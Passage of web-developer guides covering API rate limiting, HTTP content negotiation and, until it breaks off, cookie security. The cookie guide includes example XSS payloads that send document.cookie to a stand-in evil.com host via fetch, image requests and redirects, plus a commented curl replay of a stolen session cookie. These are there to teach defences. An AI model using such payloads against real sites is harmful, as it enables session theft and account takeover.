option for unauthenticated routes (login, signup, password reset), but one office or mobile carrier NAT can host thousands of users. Set per-IP limits high, and behind a proxy make sure you key on the real client address rather than the proxy's. In Express that means configuring `trust proxy` correctly, or every client appears to come from the load balancer. - **Per route** (or per cost class) protects expensive endpoints. A search or export endpoint deserves its own tighter bucket, and a login route deserves a per-account limit on top of the per-IP one, otherwise a botnet rotating IPs can still brute-force one account. Layer them: a generous global per-IP limit at the edge, a per-key limit at the gateway, and a tight per-route limit where the work is expensive. ## Where to enforce - **Edge or CDN (Cloudflare, CloudFront with WAF).** Rejects abusive traffic before it reaches your network. Counting is coarse and keyed on request properties, not your business identity. - **Gateway or reverse proxy (nginx, Envoy, Kong, API Gateway).** Cheap, language-independent, and can key on a header such as `X-Api-Key`. Several proxy nodes need a shared store, or you accept that each node counts separately. - **Application.** The only layer that knows plan tiers, tenants and endpoint cost. It spends a request that already reached your process, so it should sit behind an edge limit, not replace it. ## The response contract Reject with `429 Too Many Requests` (RFC 6585 section 4) and tell the client when to come back: ```http HTTP/1.1 429 Too Many Requests Content-Type: application/problem+json Retry-After: 30 RateLimit-Policy: "burst";q=100;w=60 RateLimit: "burst";r=0;t=30 {"type":"https://api.example.com/problems/rate-limited","title":"Rate limit exceeded","status":429,"detail":"100 requests per 60 seconds. Retry in 30 seconds."} ``` `Retry-After` takes either delay seconds (`30`) or an HTTP-date (`Mon, 04 Jan 2027 12:00:00 GMT`), per RFC 9110 section 10.2.3. Seconds are easier for clients to get right because they do not depend on clock sync. See [Retry-After](https://howhttpworks.com/headers/retry-after) for details, and [429 Too Many Requests](https://howhttpworks.com/status-codes/429) for the status code itself. Use `503` only when the server as a whole is overloaded rather than one caller being over quota; see [503 Service Unavailable](https://howhttpworks.com/status-codes/503). ### Advertising the limit: X-RateLimit-* versus RateLimit Two header families exist, and neither is an RFC. **`X-RateLimit-Limit`, `X-RateLimit-Remaining`, `X-RateLimit-Reset`** are a convention popularised by large API providers. There is no specification, so `Reset` may be epoch seconds on one API and seconds-until-reset on another. Read each provider's docs and do not write one parser that assumes. See [X-RateLimit headers](https://howhttpworks.com/headers/x-ratelimit). **`RateLimit` and `RateLimit-Policy`** come from the IETF httpapi working group draft `draft-ietf-httpapi-ratelimit-headers`. It is an Internet-Draft, not an RFC, and was at revision 11 (May 2026) when this page was reviewed. In that revision both are Structured Fields lists whose members carry a quoted policy name and parameters: ```http RateLimit-Policy: "burst";q=100;w=60,"daily";q=1000;w=86400 RateLimit: "burst";r=50;t=30 ``` `q` is the quota, `w` the window in seconds, `r` the remaining quota and `t` the seconds until it resets. The syntax has been reshaped between draft revisions (earlier ones used separate `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset` headers, and one revision used `limit=`, `remaining=`, `reset=` parameters on a single `RateLimit` header), so if you emit these headers, note which revision you implemented and expect to change it. ## Real configuration ### nginx: limit_req `limit_req_zone` defines the key and the rate; `limit_req` applies it to a location. ```nginx http { # 10 MB shared zone; 1 MB holds about 16,000 states (32-bit) or 8,000 (64-bit) limit_req_zone $binary_remote_addr zone=perip:10m rate=10r/s; # Default is 503. Without this line your throttling looks like an outage. limit_req_status 429; limit_req_log_level warn; server { listen 80; server_name api.example.com; location /v1/ { limit_req zone=perip burst=20 nodelay; error_page 429 = @rate_limited; proxy_pass http://app_backend; } location @rate_limited { default_type application/problem+json; add_header Retry-After 1 always; return 429 '{"type":"about:blank","title":"Too Many Requests","status":429}'; } } } ``` How `burst` and `nodelay` interact: - No `burst` (default 0): anything arriving faster than 10 per second is rejected immediately. Two requests 50 ms apart means the second one is rejected. - `burst=20` without `nodelay`: excess requests are queued and released at the configured rate, so the 21st simultaneous request waits about two seconds. Clients see latency instead of errors. - `burst=20 nodelay`: excess requests up to 20 are served immediately, but the slots they occupy free up at the configured rate, so a sustained flood is still held to 10 per second. This is the closest nginx gets to token bucket behaviour. - `delay=N` (alongside `burst`): the first `N` excess requests go through immediately and the rest are delayed. Rejections appear in the error log at the level set by `limit_req_log_level` (default `error`; delays log one level lower): ```text limiting requests, excess: 20.450 by zone "perip", client: 203.0.113.7, server: api.example.com, request: "GET /v1/items HTTP/1.1", host: "api.example.com" ``` `limit_req_dry_run on;` counts and logs violations without rejecting, which is the safe way to size a new limit against real traffic. The `$limit_req_status` variable (`PASSED`, `DELAYED`, `REJECTED`, plus `_DRY_RUN` variants) can go in your access log format. `add_header` skips most error statuses unless you add `always`, which is why the named location above includes it. ### Express: express-rate-limit v7 In v7 the request cap option is `limit`, not the old `max`. ```javascript import express from 'express' import { rateLimit } from 'express-rate-limit' const app = express() app.set('trust proxy', 1) // number of proxies in front of the app; get this right const apiLimiter = rateLimit({ windowMs: 60 * 1000, limit: 100, // per key per window standardHeaders: 'draft-7', // RateLimit + RateLimit-Policy; 'draft-6' and 'draft-8' also accepted legacyHeaders: false, // turn off the X-RateLimit-* headers keyGenerator: (req) => req.get('x-api-key') ?? req.ip }) app.use('/v1/', apiLimiter) ``` The library responds with `429` by default. `standardHeaders` takes `'draft-6'` (separate `RateLimit-Limit`, `RateLimit-Remaining` and `RateLimit-Reset` headers), `'draft-7'` (combined `RateLimit` and `RateLimit-Policy` headers) or `'draft-8'` (adds a named policy via the `identifier` option). Because the IETF text is still moving, the library exposes the drafts as separate values instead of one "standard". The default store is in memory and per process; with more than one instance, pass a shared `store` (a Redis store package, for example) or each instance counts on its own. ### Redis token bucket A token bucket needs a read-modify-write that must be atomic, so run it as a Lua script. Redis runs a script without interleaving other commands. ```lua -- KEYS[1] bucket key -- ARGV[1] capacity, ARGV[2] refill tokens per second, ARGV[3] cost local t = redis.call('TIME') local now_ms = t[1] * 1000 + math.floor(t[2] / 1000) local capacity = tonumber(ARGV[1]) local rate = tonumber(ARGV[2]) local cost = tonumber(ARGV[3]) local data = redis.call('HMGET', KEYS[1], 'tokens', 'ts') local tokens = tonumber(data[1]) local ts = tonumber(data[2]) if tokens == nil then tokens = capacity ts = now_ms end tokens = math.min(capacity, tokens + (now_ms - ts) / 1000 * rate) local allowed = 0 local retry_ms = 0 if tokens >= cost then tokens = tokens - cost allowed = 1 else retry_ms = math.ceil((cost - tokens) / rate * 1000) end redis.call('HSET', KEYS[1], 'tokens', tokens, 'ts', now_ms) -- an idle bucket is full again after capacity/rate seconds, so it can expire redis.call('PEXPIRE', KEYS[1], math.ceil(capacity / rate * 1000) + 1000) return { allowed, math.floor(tokens), retry_ms } ``` The caller maps the result: `allowed == 0` becomes `429` with `Retry-After: ceil(retry_ms / 1000)`, and the remaining count feeds your rate limit headers. Reading Redis `TIME` inside the script avoids clock skew between application servers. Decide in advance what happens when Redis is unreachable; for most APIs, failing open with an alert is less damaging than failing closed. ### Cloudflare rate limiting rules Cloudflare evaluates rules in the WAF, in front of your origin. A rule has these parts: - **Expression:** which requests the rule matches, for example `(http.request.uri.path starts_with "/api/")`. - **Characteristics:** what to count by. IP is the default, and higher plans can count by header, cookie, query parameter and more. "IP with NAT support" uses session cookies to avoid lumping users behind one NAT together. - **Period and requests:** the counting window, chosen from 10 seconds, 1 minute, 2 minutes, 5 minutes, 10 minutes or 1 hour (availability depends on plan), and the number of requests allowed within it. - **Action and mitigation timeout:** block, a challenge, or log only. Once triggered, the action applies for the mitigation timeout, which ranges up to 24 hours depending on plan. - **Response:** blocked requests get `429` by default; a custom status in the 400 range is supported. A custom counting expression does not inherit the rule's match expression. If you only want to count failed logins, restate those conditions in the counting expression yourself. ## Client side: honor, then back off Clients should treat `429` as an instruction, not an error: ```javascript const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)) async function fetchWithBackoff(url, options, { retries = 5, baseMs = 500, capMs = 30000 } = {}) { for (let attempt = 0; ; attempt++) { const res = await fetch(url, options) if ((res.status !== 429 && res.status !== 503) || attempt >= retries) return res const retryAfter = res.headers.get('retry-after') let delayMs if (retryAfter !== null) { const seconds = Number(retryAfter) delayMs = Number.isFinite(seconds) ? seconds * 1000 : Math.max(0, Date.parse(retryAfter) - Date.now()) } else { // full jitter: uniform in [0, min(cap, base * 2^attempt)] delayMs = Math.random() * Math.min(capMs, baseMs * 2 ** attempt) } await sleep(delayMs) } } ``` Jitter matters because without it every client throttled at the same instant retries at the same instants and keeps re-tripping the limit. Only retry requests that are safe to repeat: GET, PUT and DELETE are idempotent by definition, but a POST needs an idempotency key (see [REST API design with HTTP semantics](https://howhttpworks.com/guides/rest-api-design-http-semantics)). Also cap the total time spent; a worker that sleeps for an hour on a `Retry-After` is rarely what the caller wanted. ## Verify Send a burst against your limiter and watch the status codes and headers: ```bash for i in $(seq 1 30); do curl -s -o /dev/null -w "%{http_code} " https://api.example.com/v1/items done; echo curl -si https://api.example.com/v1/items | grep -iE '^(HTTP|retry-after|ratelimit|x-ratelimit)' ``` If you see `503` instead of `429` from nginx, `limit_req_status` is missing. If you see a `429` your application never sent, an edge layer produced it; [429 Too Many Requests fix](https://howhttpworks.com/debug/429-too-many-requests-fix) explains how to tell who sent it. --- # Content Negotiation: Accept, Languages and Caches > Implement HTTP content negotiation with Accept headers, q-values, Vary and 406 responses, with Express, Django and nginx examples and language SEO guidance. Source: https://howhttpworks.com/guides/content-negotiation Last reviewed: 2026-10-05 > **TL;DR:** Content negotiation lets one URL return different versions of a resource, such as JSON or HTML, French or English, gzip or uncompressed. The client states preferences in `Accept`, `Accept-Language` and `Accept-Encoding`. The server picks from the variants it actually has, labels the result with `Content-Type`, `Content-Language` or `Content-Encoding`, and lists the request headers it used in `Vary`. Decide up front whether a mismatch gets a default or `406`, check that your CDN keys on those headers, and give translations you want indexed their own URLs. ## One resource, several representations The [glossary entry](https://howhttpworks.com/glossary/content-negotiation) has the short definition. The hard part in practice is picking a response without surprising the caller or a cache along the way. Each header negotiates a different property: - [`Accept`](https://howhttpworks.com/headers/accept) lists media types such as `application/json` and `text/html`. Label the result with `Content-Type`. - [`Accept-Language`](https://howhttpworks.com/headers/accept-language) lists language preferences such as `fr-CA, fr;q=0.9, en;q=0.5`. Label the audience language with `Content-Language`. - [`Accept-Encoding`](https://howhttpworks.com/headers/accept-encoding) lists content codings such as `br` and `gzip`. If you apply one, label it with `Content-Encoding`; an uncompressed response normally leaves that header out. [MDN calls this server-driven negotiation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Content_negotiation). The client states what it would like, and the server's selection logic makes the call. The requests and responses on this page are examples rather than captured traffic. Here's a request for a report: ```http GET /reports/42 HTTP/1.1 Host: api.example.com Accept: application/json, text/csv;q=0.7 Accept-Language: fr, en;q=0.5 Accept-Encoding: gzip, identity;q=0.5 ``` If the server has a French JSON version and gzip turned on, the response headers might look like this: ```http HTTP/1.1 200 OK Date: Mon, 05 Oct 2026 00:00:00 GMT Content-Type: application/json Content-Language: fr Content-Encoding: gzip Vary: Accept, Accept-Language, Accept-Encoding Cache-Control: public, max-age=60 Transfer-Encoding: chunked ``` The chunked, compressed body is left out. Only mark a response `public` if every caller is allowed to see the same report. ## Quality values: score candidates, not header positions [Quality values](https://developer.mozilla.org/en-US/docs/Glossary/Quality_values) range from `0` to `1`, with up to three decimal places. A missing `q` means `1`, and `q=0` rules a choice out completely ([RFC 9110 §12.4.2](https://www.rfc-editor.org/rfc/rfc9110#section-12.4.2)). `q=0.8` expresses preference; it says nothing about compression quality. For `Accept`, a candidate's quality comes from the most specific media range that matches it. Take this header: ```http Accept: text/*;q=0.9, text/html;q=0.2, application/json;q=0.8 ``` HTML scores `0.2`, JSON `0.8`, and plain text `0.9`. If you only offer HTML and JSON, JSON wins. HTML also matches `text/*`, but the more specific `text/html` range sets its score, so it stays at `0.2`. That precedence rule is in [RFC 9110 §12.5.1](https://www.rfc-editor.org/rfc/rfc9110#section-12.5.1). So the algorithm is: list the variants you offer, work out each one's quality, drop anything at zero, then break ties with a documented rule. Only consider variants you can actually produce; a type showing up in the request doesn't oblige you to invent it. The framework examples below hand the parsing to built-in negotiation helpers. Languages need their own matching rules, because you have to decide how a regional tag maps to the translations you have. A request for `fr-CA` tells you what the user wants, not that you have Canadian French. If the user picked a language explicitly, through the URL or a setting, let that beat the header, as [MDN recommends](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Accept-Language). Encoding has a special fallback too. `identity` means no coding, and it's acceptable unless the client explicitly excludes it. A client that accepts gzip isn't demanding it, so you're free to send some responses uncompressed. A missing `Accept-Encoding` header means any coding is fine, while an empty one asks for no coding ([RFC 9110 §12.5.3](https://www.rfc-editor.org/rfc/rfc9110#section-12.5.3)). For configuration, see [MDN's encoding reference](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Accept-Encoding) and [HTTP compression](https://howhttpworks.com/guides/http-compression). ## 406 or a default: make it an endpoint policy [RFC 9110 §12.4.1](https://www.rfc-editor.org/rfc/rfc9110#section-12.4.1) lets a server either ignore a negotiation header it can't satisfy and send a default, or honor it with [`406 Not Acceptable`](https://howhttpworks.com/status-codes/406). The spec leaves the choice to you, so make it per endpoint. For an API that promises JSON and CSV, answer `Accept: application/xml` with `406` and document the types you offer. For a page people read, a default language plus a language switcher usually serves them better, and [MDN notes that language negotiation commonly falls back](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Accept-Language). Either way, label the response with what you actually sent. Encoding follows its own rule: always send bytes the client can decode. If Brotli is excluded but `identity` is allowed, send the response uncompressed. Keep that decision separate from your media-type fallback. ## Vary separates cache variants, if the CDN supports it [`Vary`](https://howhttpworks.com/headers/vary) lists the **request** headers that influenced the choice. If you pick by language and media type, send `Vary: Accept, Accept-Language`, and add `Accept-Encoding` when the coding varies. Send the same list on every variant, defaults included, and append to an existing `Vary` rather than overwriting fields another layer added. Under [RFC 9111 §4.1](https://www.rfc-editor.org/rfc/rfc9111#section-4.1), a cache can't reuse a stored response without revalidating it when the listed request headers don't match. That's what keeps a French response from being served to an English request. `Vary` only controls which stored response matches; whether anything gets stored, and for how long, still follows the normal caching rules. `Vary: *` never matches, so it rules out this kind of reuse entirely. CDNs add their own limits. [Cloudflare's current documentation](https://developers.cloudflare.com/cache/concepts/cache-control/#other) says it ignores general `Vary` values by default. The exceptions are a configured Cache Rules Vary setting, configured Vary for images, and `Vary: Accept-Encoding`. So `Vary: Accept-Language` or `Vary: Accept` alone may do nothing for your zone; check its configuration. Before you cache negotiated responses at the edge, confirm the edge's cache key separates every variant the origin can produce. If it can't, use separate URLs or skip shared caching on that route. If you normalize languages to `en` or `fr` in a custom cache key, make the origin choose from the same normalized value. Caching by `en` while the origin still distinguishes `en-US` from `en-GB` will mix them up. [CDN not caching](https://howhttpworks.com/debug/cdn-not-caching) covers the wider cache investigation. ## Real server examples These examples are code to adapt, not recorded server output. Each negotiates between HTML and JSON and states its mismatch policy explicitly. ### Express: req.accepts() [`req.accepts()`](https://expressjs.com/en/5x/api/request/#req.accepts) returns the best match from the types you offer, or `false`. [`res.vary()`](https://expressjs.com/en/5x/api/response/#res.vary) adds a field to `Vary` without duplicating it: ```javascript const express = require('express'); const app = express(); app.get('/report', (req, res) => { res.vary('Accept'); const type = req.accepts(['application/json', 'text/html']); if (!type) return res.status(406).end(); if (type === 'application/json') return res.json({ status: 'ready' }); return res.type('html').send('

Report ready

'); }); app.listen(3000); ``` Pass full media types so you can compare the return value directly. Point the curl probes further down at `http://localhost:3000/report`. This route doesn't compress anything; if you add compression middleware, it handles coding negotiation and its own `Vary` entry. ### Django: get_preferred_type(), with Vary on the view [Django added `get_preferred_type()` in 5.2](https://docs.djangoproject.com/en/6.0/ref/request-response/#django.http.HttpRequest.get_preferred_type). It returns `None` when none of the offered types match. Add `vary_on_headers` so Django's cache knows the response depends on `Accept`: ```python from django.http import HttpResponse, JsonResponse from django.views.decorators.vary import vary_on_headers @vary_on_headers("Accept") def report(request): media_type = request.get_preferred_type([ "application/json", "text/html", ]) if media_type is None: return HttpResponse(status=406) if media_type == "application/json": return JsonResponse({"status": "ready"}) return HttpResponse("

Report ready

", content_type="text/html") ``` When the client sends a wildcard, Django returns the first type in your list. `request.accepts("text/html")` only answers yes or no, so it can't rank HTML against JSON. Use the selection helper whenever you offer both. ### nginx: map is a language hint, not a q-value parser The [`map` directive](https://nginx.org/en/docs/http/ngx_http_map_module.html#map) goes in the `http` context. This one picks French when the header starts with an unweighted French tag, and English otherwise: ```nginx map $http_accept_language $welcome_language { default en; "~*^fr(-[a-z0-9]+)*([[:space:]]*,|[[:space:]]*$)" fr; } server { listen 8080; location = /welcome { proxy_pass http://127.0.0.1:3000; proxy_set_header X-Selected-Language $welcome_language; } } ``` `X-Selected-Language` is a private contract between nginx and your backend. The backend reads it, renders that language, and sends `Content-Language` plus `Vary: Accept-Language`. Because nginx sets the header itself, any value a client sends in it gets overwritten. This picks French for `fr` and `fr-CA,en;q=0.5`, but sends `fr;q=0.9,en;q=1` to the English default. It **doesn't** parse quality values or find the best language in an arbitrary list. For real negotiation, pass the header through to application code and use a language negotiation library. Keep this shortcut off pages where every translation has to be discoverable. ## Translations for SEO: separate URLs and hreflang [Google recommends separate URLs for language versions](https://developers.google.com/search/docs/specialty/international/managing-multi-regional-sites#use-different-urls-for-different-language-versions) instead of changing what one URL shows based on cookies or browser settings. Googlebot doesn't send `Accept-Language`, so if your variants depend only on that header, some of them may never get crawled. Give each language a stable URL, such as `https://example.com/en/help` and `https://example.com/fr/help`, link them to each other, and mark the alternatives with `hreflang`. Let people stay on the language URL they chose instead of redirecting them automatically. Suggesting a language on an entry page is fine, but it's a separate feature from making translations indexable. ## API versions: media types or URLs One option is a separate media type per API version. The type below is a made-up application contract, not a registered vendor type: ```http Accept: application/vnd.example.report.v2+json ``` Your dispatcher matches that exact type, echoes it in `Content-Type`, and adds `Vary: Accept` when the same URL serves other versions too. [The `+json` suffix marks the syntax as JSON](https://www.rfc-editor.org/rfc/rfc6839#section-3.1); it doesn't route versions for you or make two schemas compatible. Decide what a missing or unsupported version gets, including whether an explicitly requested unsupported type returns `406`. The other option is `/v1/reports/42` and `/v2/reports/42`. Version-specific URLs show up in links and cache keys, which makes them easy to reason about. For a small API I'd pick version URLs unless callers already rely on a media-type contract. Either design needs a documented default, a migration policy, and checks that each response matches the schema that was selected. ## Client Hints: request only what affects the response [`Accept-CH`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Accept-CH) is a response header that asks supporting clients to send specific hints on later requests. It only works in a secure context. For example, a response can ask for the platform hint: ```http Accept-CH: Sec-CH-UA-Platform ``` Have a fallback for when the hint doesn't arrive. If the platform hint changes which response you send, add `Sec-CH-UA-Platform` to `Vary` and confirm your edge can key on it. Only vary on hints that actually change the response: every extra dimension multiplies your cache variants. ## Probe every offered variant and the rejection path Swap in your own endpoint. Run these and read the headers you get back: ```bash curl -sS -D - -o /dev/null -H 'Accept: application/json' https://api.example.com/report curl -sS -D - -o /dev/null -H 'Accept: text/html' https://api.example.com/report curl -sS -D - -o /dev/null -H 'Accept: application/xml' https://api.example.com/report curl -sS -D - -o /dev/null -H 'Accept: text/*;q=0.9, text/html;q=0.2, application/json;q=0.8' https://api.example.com/report ``` With the strict framework examples above, you should see JSON, HTML, `406`, then JSON. Also try a missing `Accept` (`-H 'Accept:'`), `*/*`, and a type excluded with `q=0`. For a language endpoint, alternate French and English requests against the **same** public URL. Check the body, not only `Content-Language`, `Vary`, `Age` and the CDN cache status. Then repeat against the origin. If the origin answers correctly but the edge returns the wrong language, the edge's variant key isn't separating them. Seeing `Vary` in the response tells you the origin sent it, not that the edge honors it. ## Related - [Content negotiation glossary](https://howhttpworks.com/glossary/content-negotiation) for the short definition. - [Accept](https://howhttpworks.com/headers/accept), [Accept-Language](https://howhttpworks.com/headers/accept-language) and [Accept-Encoding](https://howhttpworks.com/headers/accept-encoding) for field syntax. - [Vary](https://howhttpworks.com/headers/vary) and [HTTP headers and caching](https://howhttpworks.com/guides/headers-and-caching) for cache behavior. - [406 Not Acceptable](https://howhttpworks.com/status-codes/406) and [CDN not caching](https://howhttpworks.com/debug/cdn-not-caching) for diagnosis. - [HTTP compression](https://howhttpworks.com/guides/http-compression) for gzip, Brotli and server configuration. --- # Cookie Security: HttpOnly, SameSite, and Secure Flags > A comprehensive guide to understanding and implementing secure HTTP cookies to protect against XSS, CSRF, and session hijacking attacks. Source: https://howhttpworks.com/guides/cookie-security Last reviewed: 2026-10-05 > **TL;DR:** Set session cookies with `Secure` (HTTPS only), `HttpOnly` (hidden from JavaScript) and `SameSite=Lax` or `Strict` (not sent on most cross-site requests). Leave out `Domain` so the cookie stays on the host that set it, or use the `__Host-` prefix to enforce all of that. When cookies go wrong, the attributes are usually to blame, not the value. Cookies carry your users' login state, and browsers attach them to requests automatically. That's what makes them convenient, and it's also why one loose attribute can turn an ordinary session cookie into an XSS, CSRF or session-leak problem. ## Introduction Cookies sit right where browser behavior meets server trust, which makes them one of the most security-sensitive parts of everyday web work. If you've ever stared at a cookie in DevTools while the login flow still breaks, you already know storing it is the easy part. The hard part is the rules for when the browser sends it, where it applies, and what browser policy allows. **What makes cookies security-critical?** - They often contain session identifiers that authenticate users - They're automatically sent with every request to their domain - They can be accessed, modified, or stolen by malicious scripts - They persist across browser sessions unless configured otherwise - They can be transmitted across insecure connections if not protected **Common cookie security vulnerabilities:** ```text 1. Session hijacking - Attacker steals session cookie 2. Cross-Site Scripting (XSS) - Malicious script reads cookies 3. Cross-Site Request Forgery (CSRF) - Unwanted actions using cookies 4. Man-in-the-Middle (MITM) - Cookies intercepted over HTTP 5. Cookie theft - Cookies accessed from unintended domains ``` ## Why Cookie Security Matters Leave the attributes to chance and a session gets easier to steal, replay or send somewhere you never intended. The browser is just following the rules you gave it. Usually those rules were too loose. **Without secure cookies (vulnerable):** ```javascript // Script injected into yourbank.com through an XSS bug document.location = 'https://evil.com/steal?cookie=' + document.cookie // The attacker now replays the stolen cookie from their own machine // (browsers won't let page scripts set a Cookie header), for example: // curl -X POST https://yourbank.com/transfer \ // -H 'Cookie: session=stolen_cookie_value' \ // -H 'Content-Type: application/json' \ // -d '{"to":"attacker","amount":10000}' ``` **With secure cookies (protected):** ```http Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict ``` With these attributes: - JavaScript can't read the cookie (HttpOnly) - It never travels over plain HTTP (Secure) - Most cross-site request forgery fails, because cross-site requests arrive without it (SameSite) ## Cookie Security Attributes A handful of attributes decide how browsers store a cookie, when they send it and who can read it. Get these right and most cookie attacks stop working. ### HttpOnly `HttpOnly` hides the cookie from JavaScript, so `document.cookie` can't read it. That keeps an XSS bug from simply reading out the session token. **Setting HttpOnly:** ```http Set-Cookie: session=abc123; HttpOnly ``` **How it works:** ```javascript // Without HttpOnly document.cookie // "session=abc123; user_pref=dark_mode" // With HttpOnly document.cookie // "user_pref=dark_mode" (session cookie hidden) ``` **When to use:** - **Always** for session tokens and authentication cookies - **Always** for any cookie containing sensitive data - **Never** for cookies that JavaScript needs to read (like preferences) **Example attack prevented:** ```javascript // XSS attack - malicious script injected into page fetch('https://evil.com/steal?cookie=' + document.cookie) ``` The browser keeps sending an `HttpOnly` cookie on normal HTTP requests; scripts just can't read it. An attacker with XSS can make requests from the page, but can't walk away with the token, which shrinks the blast radius of many XSS bugs. ### Secure `Secure` tells the browser to send the cookie only over HTTPS, so nobody can pick it up from an unencrypted connection. **Setting Secure:** ```http Set-Cookie: session=abc123; Secure ``` **How it works:** ```text HTTP request → Cookie NOT sent (blocked by browser) HTTPS request → Cookie sent normally ``` **When to use:** - **Always** in production environments - **Always** for authentication and session cookies - **Required** when using `SameSite=None` - Optional in local development over HTTP **Example attack prevented:** ```text User connects to public WiFi at coffee shop Without Secure attribute: 1. User visits http://example.com 2. Browser sends cookie over HTTP 3. Attacker sniffs network traffic 4. Attacker captures session cookie 5. Attacker uses cookie to impersonate user With Secure attribute: 1. User visits http://example.com (redirects to HTTPS) 2. Browser only sends cookie over HTTPS (encrypted) 3. Attacker cannot read encrypted traffic 4. Session remains secure ``` ### SameSite `SameSite` controls whether the cookie goes along on cross-site requests, which is your first line of defense against CSRF. **SameSite values:** ```http Set-Cookie: session=abc123; SameSite=Strict Set-Cookie: session=abc123; SameSite=Lax Set-Cookie: session=abc123; SameSite=None; Secure ``` **SameSite=Strict:** The tightest setting: the cookie only goes with same-site requests. ```javascript // User on https://app.example.com fetch('https://api.example.com/data') // Cookie sent (same-site) // User on https://other-site.com clicks link to example.com // Cookie NOT sent (cross-site) ``` **Use cases:** - Banking and financial applications - Admin panels - Any application where cross-site access is never needed **Limitations:** - Cookie not sent when navigating from external sites - User appears logged out when arriving from search engines or email links **SameSite=Lax (Chromium's default when SameSite is missing; Firefox and Safari don't apply that default):** The cookie goes with same-site requests, plus top-level navigations that use safe methods like GET. ```javascript // Same-site request - Cookie sent fetch('https://api.example.com/data') // Top-level navigation (link click) - Cookie sent Dashboard // Cross-site POST from form - Cookie NOT sent
// Cross-site fetch/XHR - Cookie NOT sent fetch('https://app.example.com/api', { method: 'POST' }) ``` **Use cases:** - Most web applications (good default) - Sites that need authentication from external links - Balance between security and usability **SameSite=None:** The cookie goes with cross-site requests too. You must pair it with `Secure`. ```http Set-Cookie: widget_session=xyz789; SameSite=None; Secure ``` **Use cases:** - Embedded widgets and iframes - OAuth and SSO flows - Third-party integrations - Cross-domain API requests **Example CSRF attack prevented:** ```html
``` **Without SameSite:** - Browser sends session cookie with POST request - Bank processes transfer (thinks it's legitimate user) - Money transferred to attacker **With SameSite=Lax or Strict:** - Browser blocks cookie from being sent cross-site - Bank sees unauthenticated request - Transfer rejected ### Domain The `Domain` attribute specifies which hosts can receive the cookie. **Setting Domain:** ```http # No Domain: host-only, sent only to the host that set it Set-Cookie: session=abc123 # Cookie sent to example.com and all subdomains # (a leading dot, as in Domain=.example.com, is ignored and means the same) Set-Cookie: session=abc123; Domain=example.com ``` **How it works:** ```text Cookie: Domain=example.com Sent to: ✓ example.com ✓ www.example.com ✓ api.example.com ✓ any.subdomain.example.com NOT sent to: ✗ other-example.com ✗ example.org ``` **Security implications:** ```http # Narrower: app.example.com and its own subdomains Set-Cookie: session=abc123; Domain=app.example.com # Wider: every subdomain of example.com receives it Set-Cookie: session=abc123; Domain=example.com ``` **Best practices:** - Omit `Domain` to keep the cookie on the exact host that set it (the tightest option) - Share with subdomains only when you really need to - Once you set `Domain`, every subdomain under it receives the cookie - Any subdomain can also set cookies for its parent domain **Example vulnerability:** ```text Cookie set with: Domain=.example.com Scenario: 1. User has session cookie for example.com 2. Attacker compromises subdomain: malicious.example.com 3. Attacker can read/modify session cookie 4. Attacker impersonates user on main domain ``` ### Path `Path` limits the cookie to request URLs under a given path. **Setting Path:** ```http Set-Cookie: session=abc123; Path=/ Set-Cookie: admin_session=xyz789; Path=/admin Set-Cookie: api_token=def456; Path=/api ``` **How it works:** ```text Cookie: Path=/admin Sent to: ✓ /admin ✓ /admin/users ✓ /admin/settings/profile NOT sent to: ✗ / ✗ /public ✗ /api/users ``` **Security implications:** ```http # Less secure: Cookie sent to all paths Set-Cookie: admin_token=secret; Path=/ # More secure: Cookie only sent to admin area Set-Cookie: admin_token=secret; Path=/admin ``` **Best practices:** - Use specific paths to limit cookie exposure - Set `Path=/` for general session cookies - Use specific paths like `/admin` for privileged cookies - Remember that Path provides minimal security (easily bypassed) **Important note:** Path isn't a security boundary. Script running on another path of the same origin can get at those cookies anyway. Use it to keep things tidy, not to protect anything. ### Max-Age and Expires These attributes control cookie lifetime and persistence. **Max-Age (preferred, takes precedence over Expires):** ```http Set-Cookie: session=abc123; Max-Age=3600 # 1 hour Set-Cookie: remember=xyz789; Max-Age=2592000 # 30 days Set-Cookie: temp=abc; Max-Age=0 # Delete cookie immediately ``` **Expires (older format, still widely supported):** ```http Set-Cookie: session=abc123; Expires=Thu, 21 Oct 2027 07:28:00 GMT ``` **Session vs Persistent cookies:** ```http # Session cookie - discarded when the browser session ends (restored by session restore) Set-Cookie: session=abc123; HttpOnly; Secure # Persistent cookie - survives browser restart Set-Cookie: remember=xyz789; Max-Age=2592000; HttpOnly; Secure ``` **Security implications:** ```http # High security: Short-lived session cookie Set-Cookie: bank_session=abc123; Max-Age=900; HttpOnly; Secure; SameSite=Strict # Expires after 15 minutes # Moderate security: Longer-lived with "remember me" Set-Cookie: app_session=xyz789; Max-Age=86400; HttpOnly; Secure; SameSite=Lax # Expires after 24 hours # Lower security risk: Non-sensitive preference Set-Cookie: theme=dark; Max-Age=31536000 # Expires after 1 year ``` **Best practices:** - Use shortest lifetime necessary for your use case - Session cookies for sensitive operations (banking, admin) - Longer-lived cookies only with user consent ("remember me") - Always provide a way to invalidate sessions server-side - Consider idle timeout in addition to absolute timeout ## Common Cookie Attacks Knowing how each attack works tells you which attribute stops it. ### Cross-Site Scripting (XSS) XSS lets an attacker run their own script in your page, and that script can read any cookie JavaScript has access to. **Attack scenario:** ```javascript // Vulnerable site with XSS // User input not sanitized: // Attacker injects this script ``` **How cookies are stolen:** ```javascript // Without HttpOnly document.cookie // Returns: "session=abc123; user_id=42; preferences=dark_mode" // Attacker sends to their server new Image().src = 'https://evil.com/log?data=' + encodeURIComponent(document.cookie) ``` **Protection:** ```http # HttpOnly prevents JavaScript access Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict # Additional protection Content-Security-Policy: default-src 'self'; script-src 'self' ``` **Best practices:** 1. Always set `HttpOnly` on authentication cookies 2. Sanitize and validate all user input 3. Use Content Security Policy (CSP) 4. Escape output in HTML templates 5. Use modern frameworks with built-in XSS protection ### Cross-Site Request Forgery (CSRF) CSRF gets a logged-in user's browser to send a request they never meant to send, with their cookies riding along. **Attack scenario:** ```html

Click here for free prize!

